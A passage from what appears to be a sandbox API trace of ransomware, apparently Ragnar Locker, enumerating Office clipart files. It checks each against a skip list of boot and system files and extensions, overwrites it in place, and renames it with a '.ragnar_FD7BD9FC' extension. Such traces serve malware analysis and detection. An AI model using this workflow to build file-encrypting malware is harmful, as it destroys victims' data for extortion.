liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.238] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa94, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa94, lpOverlapped=0x0) returned 1 [0092.238] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.238] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa94, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.238] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa94, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa94, lpOverlapped=0x0) returned 1 [0092.238] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa94, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.238] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.239] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.239] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.239] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.239] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.239] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.239] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.239] GetProcessHeap () returned 0x580000 [0092.239] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.239] CloseHandle (hObject=0xf4) returned 1 [0092.239] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF" [0092.239] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF.ragnar_FD7BD9FC" [0092.239] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02263_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02263_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.240] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x325ae700, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x325ae700, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x38c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02265_.WMF", cAlternateFileName="")) returned 1 [0092.240] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.240] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO02265_.WMF" | out: lpString1="SO02265_.WMF") returned="SO02265_.WMF" [0092.240] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF") returned=".WMF" [0092.240] lstrcmpiW (lpString1="SO02265_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.240] lstrcmpiW (lpString1="SO02265_.WMF", lpString2="autorun.inf") returned 1 [0092.240] lstrcmpiW (lpString1="SO02265_.WMF", lpString2="boot.ini") returned 1 [0092.240] lstrcmpiW (lpString1="SO02265_.WMF", lpString2="bootfont.bin") returned 1 [0092.240] lstrcmpiW (lpString1="SO02265_.WMF", lpString2="bootsect.bak") returned 1 [0092.240] lstrcmpiW (lpString1="SO02265_.WMF", lpString2="bootmgr") returned 1 [0092.240] lstrcmpiW (lpString1="SO02265_.WMF", lpString2="bootmgr.efi") returned 1 [0092.240] lstrcmpiW (lpString1="SO02265_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.240] lstrcmpiW (lpString1="SO02265_.WMF", lpString2="desktop.ini") returned 1 [0092.240] lstrcmpiW (lpString1="SO02265_.WMF", lpString2="iconcache.db") returned 1 [0092.240] lstrcmpiW (lpString1="SO02265_.WMF", lpString2="ntldr") returned 1 [0092.240] lstrcmpiW (lpString1="SO02265_.WMF", lpString2="ntuser.dat") returned 1 [0092.240] lstrcmpiW (lpString1="SO02265_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.240] lstrcmpiW (lpString1="SO02265_.WMF", lpString2="ntuser.ini") returned 1 [0092.240] lstrcmpiW (lpString1="SO02265_.WMF", lpString2="thumbs.db") returned -1 [0092.240] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.240] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.240] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.240] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.240] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.241] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.241] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02265_.wmf")) returned 0x20 [0092.241] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02265_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.241] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=908) returned 1 [0092.241] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x383, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.241] GetProcessHeap () returned 0x580000 [0092.241] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.241] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.243] VirtualAlloc (lpAddress=0x0, dwSize=0x38c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.243] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.243] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.243] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x38c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x38c, lpOverlapped=0x0) returned 1 [0092.243] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.243] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x38c, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.243] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x38c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x38c, lpOverlapped=0x0) returned 1 [0092.243] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x38c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.243] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.243] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x38c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.243] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.243] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.243] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.244] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.244] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.244] GetProcessHeap () returned 0x580000 [0092.244] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.244] CloseHandle (hObject=0xf4) returned 1 [0092.244] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF" [0092.244] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF.ragnar_FD7BD9FC" [0092.244] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02265_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02265_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.245] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e16ea00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e16ea00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02268_.WMF", cAlternateFileName="")) returned 1 [0092.245] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.245] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO02268_.WMF" | out: lpString1="SO02268_.WMF") returned="SO02268_.WMF" [0092.245] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF") returned=".WMF" [0092.245] lstrcmpiW (lpString1="SO02268_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.245] lstrcmpiW (lpString1="SO02268_.WMF", lpString2="autorun.inf") returned 1 [0092.245] lstrcmpiW (lpString1="SO02268_.WMF", lpString2="boot.ini") returned 1 [0092.245] lstrcmpiW (lpString1="SO02268_.WMF", lpString2="bootfont.bin") returned 1 [0092.245] lstrcmpiW (lpString1="SO02268_.WMF", lpString2="bootsect.bak") returned 1 [0092.245] lstrcmpiW (lpString1="SO02268_.WMF", lpString2="bootmgr") returned 1 [0092.245] lstrcmpiW (lpString1="SO02268_.WMF", lpString2="bootmgr.efi") returned 1 [0092.245] lstrcmpiW (lpString1="SO02268_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.245] lstrcmpiW (lpString1="SO02268_.WMF", lpString2="desktop.ini") returned 1 [0092.245] lstrcmpiW (lpString1="SO02268_.WMF", lpString2="iconcache.db") returned 1 [0092.245] lstrcmpiW (lpString1="SO02268_.WMF", lpString2="ntldr") returned 1 [0092.245] lstrcmpiW (lpString1="SO02268_.WMF", lpString2="ntuser.dat") returned 1 [0092.245] lstrcmpiW (lpString1="SO02268_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.245] lstrcmpiW (lpString1="SO02268_.WMF", lpString2="ntuser.ini") returned 1 [0092.245] lstrcmpiW (lpString1="SO02268_.WMF", lpString2="thumbs.db") returned -1 [0092.245] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.245] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.245] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.245] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.245] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.245] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.245] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02268_.wmf")) returned 0x20 [0092.245] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02268_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.246] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1564) returned 1 [0092.246] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x613, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.246] GetProcessHeap () returned 0x580000 [0092.246] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.246] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.247] VirtualAlloc (lpAddress=0x0, dwSize=0x61c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.247] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.248] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.248] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x61c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x61c, lpOverlapped=0x0) returned 1 [0092.248] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.248] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x61c, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.248] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x61c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x61c, lpOverlapped=0x0) returned 1 [0092.248] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x61c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.248] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.248] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x61c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.248] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.248] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.248] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.248] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.248] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.249] GetProcessHeap () returned 0x580000 [0092.249] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.249] CloseHandle (hObject=0xf4) returned 1 [0092.249] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF" [0092.249] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF.ragnar_FD7BD9FC" [0092.249] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02268_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02268_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.249] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a836300, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a836300, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0xaf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02269_.WMF", cAlternateFileName="")) returned 1 [0092.250] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.250] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO02269_.WMF" | out: lpString1="SO02269_.WMF") returned="SO02269_.WMF" [0092.250] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF") returned=".WMF" [0092.250] lstrcmpiW (lpString1="SO02269_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.250] lstrcmpiW (lpString1="SO02269_.WMF", lpString2="autorun.inf") returned 1 [0092.250] lstrcmpiW (lpString1="SO02269_.WMF", lpString2="boot.ini") returned 1 [0092.250] lstrcmpiW (lpString1="SO02269_.WMF", lpString2="bootfont.bin") returned 1 [0092.250] lstrcmpiW (lpString1="SO02269_.WMF", lpString2="bootsect.bak") returned 1 [0092.250] lstrcmpiW (lpString1="SO02269_.WMF", lpString2="bootmgr") returned 1 [0092.250] lstrcmpiW (lpString1="SO02269_.WMF", lpString2="bootmgr.efi") returned 1 [0092.250] lstrcmpiW (lpString1="SO02269_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.250] lstrcmpiW (lpString1="SO02269_.WMF", lpString2="desktop.ini") returned 1 [0092.250] lstrcmpiW (lpString1="SO02269_.WMF", lpString2="iconcache.db") returned 1 [0092.250] lstrcmpiW (lpString1="SO02269_.WMF", lpString2="ntldr") returned 1 [0092.250] lstrcmpiW (lpString1="SO02269_.WMF", lpString2="ntuser.dat") returned 1 [0092.250] lstrcmpiW (lpString1="SO02269_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.250] lstrcmpiW (lpString1="SO02269_.WMF", lpString2="ntuser.ini") returned 1 [0092.250] lstrcmpiW (lpString1="SO02269_.WMF", lpString2="thumbs.db") returned -1 [0092.250] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.250] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.250] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.250] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.250] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.250] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.250] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02269_.wmf")) returned 0x20 [0092.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02269_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.251] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2800) returned 1 [0092.251] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xae7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.251] GetProcessHeap () returned 0x580000 [0092.251] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.251] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.253] VirtualAlloc (lpAddress=0x0, dwSize=0xaf0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.253] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.253] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.253] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xaf0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xaf0, lpOverlapped=0x0) returned 1 [0092.253] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.253] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xaf0, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.253] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: 